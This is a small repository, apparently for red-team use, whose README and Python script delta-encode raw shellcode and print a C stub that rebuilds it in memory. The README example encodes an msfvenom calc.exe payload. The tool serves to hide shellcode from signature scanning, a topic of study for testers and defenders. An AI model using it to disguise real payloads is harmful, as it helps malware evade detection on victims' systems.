├── README.md └── delta.py /README.md: -------------------------------------------------------------------------------- 1 | # Delta-Encoder 2 | Delta-Encoder will take a raw shellcode file as input and outputs an array of deltas and a C/C++ stub to reconstitute the shellcode in memory. This does not produce a fully working shellcode loader. Delta-Encoder will only produce the encoded shellcode delta array and the code to reconstitute the shellcode at runtime. 3 | 4 | For more information on Delta-Encoder, check out the blog here: [https://redsiege.com/delta](https://redsiege.com/delta) 5 | 6 | ## Usage 7 | ```python3 delta.py -i inputfile.bin``` 8 | 9 | ## Example 10 | ``` 11 | $ msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin 12 | $ python3 delta.py -i calc.bin 13 | 14 | //Initial byte for setting rest of the deltas 15 | unsigned char first_byte = 0xfc; 16 | 17 | //Array of deltas 18 | unsigned char delta[275] = {0x4c, 0x3b, 0x61, 0xc, 0xf8, 0xd8, 0x40, 0x0, 0x0, 0x41, 0x10, 0xf0, 0xf, 0x2, 0xff, 0x5, 0xf2, 0xe9, 0xa1, 0x93, 0xe3, 0x43, 0xc7, 0xe, 0xe8, 0x43, 0xc7, 0xc6, 0x30, 0x43, 0xc7, 0xce, 0x28, 0x43, 0xe7, 0xde, 0xf8, 0xc7, 0xa8, 0x93, 0x0, 0x3, 0xe4, 0x98, 0x7f, 0xe9, 0x8f, 0xec, 0x90, 0x25, 0x1b, 0x86, 0x2a, 0xf4, 0x21, 0x80, 0x8, 0x44, 0x34, 0xc0, 0xc0, 0x21, 0xb, 0x65, 0xef, 0x10, 0xf7, 0x43, 0xc7, 0xce, 0x6b, 0xb7, 0xfa, 0xc, 0xb9, 0xcf, 0xbb, 0xf5, 0x8, 0x78, 0x0, 0x0, 0x48, 0x3d, 0x3b, 0xb4, 0xf3, 0xe1, 0xb9, 0xcf, 0x80, 0x3b, 0xbd, 0xd0, 0x2c, 0x47, 0xb5, 0xe0, 0x29, 0xb8, 0xcf, 0x13, 0x73, 0xf2, 0xb7, 0xca, 0x78, 0x4a, 0xa9, 0x54, 0xc0, 0xb9, 0xd5, 0x77, 0xe4, 0x98, 0x7f, 0xe9, 0x8f, 0xec, 0x95, 0x80, 0x8, 0x44, 0x34, 0xc0, 0xc0, 0x77, 0xa8, 0x95, 0x7c, 0x5b, 0xb7, 0x49, 0xd8, 0xe4, 0x3d, 0xf4, 0x98, 0xa4, 0x63, 0x80, 0xec, 0x47, 0xb5, 0xe4, 0x25, 0xb8, 0xcf, 0x96, 0xdb, 0x4a, 0x81, 0x3c, 0xfc, 0x47, 0xb5, 0xdc, 0x2d, 0xb8, 0xcf, 0x71, 0x4a, 0x79, 0x84, 0xc0, 0xb9, 0xcf, 0x71, 0x17, 0xe9, 0x17, 0x6, 0xfb, 0x1, 0xe7, 0x17, 0xe9, 0x18, 0xe8, 0x19, 0xee, 0x3b, 0x69, 0x34, 0x21, 0x11, 0xad, 0xe1, 0x78, 0xe9, 0x18, 0x1, 0xee, 0x43, 0x87, 0xd7, 0x6e, 0xa8, 0x0, 0x0, 0x5e, 0xeb, 0x72, 0x47, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x48, 0x45, 0x0, 0x74, 0x0, 0xff, 0x0, 0x41, 0x79, 0x77, 0x5a, 0xe4, 0x18, 0x78, 0xd6, 0xe6, 0x35, 0xc5, 0xed, 0xb4, 0xeb, 0x79, 0xec, 0xef, 0x28, 0xe0, 0x62, 0xd6, 0x73, 0x3b, 0x41, 0x64, 0x14, 0xca, 0x76, 0x8e, 0x76, 0x7b, 0xe5, 0x95, 0x90, 0xb6, 0x8c, 0xcc, 0x5f, 0xfd, 0xfb, 0x96, 0x59, 0xe8, 0x48, 0x51, 0x25, 0xd6, 0x8e, 0xfe, 0xb, 0xf7, 0xcb, 0x37, 0x13, 0xed, 0x9b }; 19 | 20 | //Array to hold the reconstituted shellcode. Needs to be set to 1 byte more than original array 21 | unsigned char rebuilt[276] = { 0x00 }; 22 | unsigned int i, index; 23 | //Size of delta array 24 | int cap = sizeof(delta) / sizeof(delta[0]); 25 | 26 | //Setting first byte of the reconstituted array to the first byte of the payload 27 | rebuilt[0] = first_byte; 28 | 29 | /*Takes initial byte and adds the delta to it to get the second byte. Takes second byte 30 | and adds second delta to get third byte and so on.*/ 31 | for (i = 0; i < cap; i++) 32 | { 33 | index = i + 1; 34 | rebuilt[index] = rebuilt[i] + delta[i]; 35 | } 36 | ``` 37 | 38 | ### Credits 39 | Huge shoutouts to Mike Saunders [(@HardwaterHacker)](https://github.com/hardwaterhacker) who translated my crappy C code into a way easier to use Python script and for pushing the team to come up with new ideas. 40 | -------------------------------------------------------------------------------- /delta.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | import sys 4 | 5 | 6 | def get_raw_sc(input_file): 7 | input_file = input_file 8 | file_shellcode = b'' 9 | try: 10 | with open(input_file, 'rb') as shellcode_file: 11 | file_shellcode = shellcode_file.read() 12 | file_shellcode = file_shellcode.strip() 13 | return(file_shellcode) 14 | except FileNotFoundError: 15 | sys.exit("Supplied input file not found!") 16 | 17 | 18 | def get_offsets(input_file): 19 | # read in our raw shellcode and get the length 20 | raw_sc = get_raw_sc(input_file) 21 | sc_len = len(raw_sc) 22 | 23 | offset_arr = [] # stores the calculated offsets 24 | remaining_idx = 1 # starts at 1 - second byte of shellcode 25 | previous_byte = raw_sc[0] # Store previous byte we processed. 26 | 27 | # Loop through remaining bytes of shellcode 28 | while remaining_idx < sc_len: 29 | # Subtract previous byte from current byte to get the offset 30 | current_byte = raw_sc[remaining_idx] - previous_byte 31 | 32 | # Add 256 if value is negative to wrap around. 33 | if current_byte < 0: 34 | current_byte = current_byte + 256 35 | 36 | # Add current byte of offset array 37 | offset_arr.append(current_byte) 38 | 39 | # Update previous byte to current shellcode byte 40 | previous_byte = raw_sc[remaining_idx] 41 | remaining_idx += 1 42 | 43 | print('\n//Initial byte for setting rest of the deltas') 44 | print('unsigned char first_byte = ' + hex(raw_sc[0]) + ';') 45 | print('\n//Array of deltas') 46 | print('unsigned char delta[{}] = '.format(str(len(offset_arr))) + "{") 47 | print('{}'.format(', '.join((hex(x) for x in offset_arr))) + " };") 48 | print('\n//Array to hold the reconstituted shellcode. Needs to be set to 1 byte more than original array') 49 | print('unsigned char rebuilt[{}] = '.format(str(sc_len)) + '{ 0x00 };') 50 | print("""unsigned int i, index; 51 | //Size of delta array 52 | int cap = sizeof(delta) / sizeof(delta[0]); 53 | 54 | //Setting first byte of the reconstituted array to the first byte of the payload 55 | rebuilt[0] = first_byte; 56 | 57 | /*Takes initial byte and adds the delta to it to get the second byte. Takes second byte 58 | and adds second delta to get third byte and so on.*/ 59 | for (i = 0; i < cap; i++) 60 | { 61 | index = i + 1; 62 | rebuilt[index] = rebuilt[i] + delta[i]; 63 | } 64 | """) 65 | 66 | def main(): 67 | parser = argparse.ArgumentParser() 68 | parser.add_argument("-i", "--input", type=str, 69 | help="File containing raw shellcode. Defaults to beacon.bin.") 70 | 71 | if len(sys.argv) == 1: 72 | # No arguments received. Print help and exit 73 | parser.print_help(sys.stderr) 74 | sys.exit(1) 75 | 76 | args = parser.parse_args() 77 | get_offsets(args.input) 78 | 79 | 80 | if __name__ == '__main__': 81 | main() 82 | --------------------------------------------------------------------------------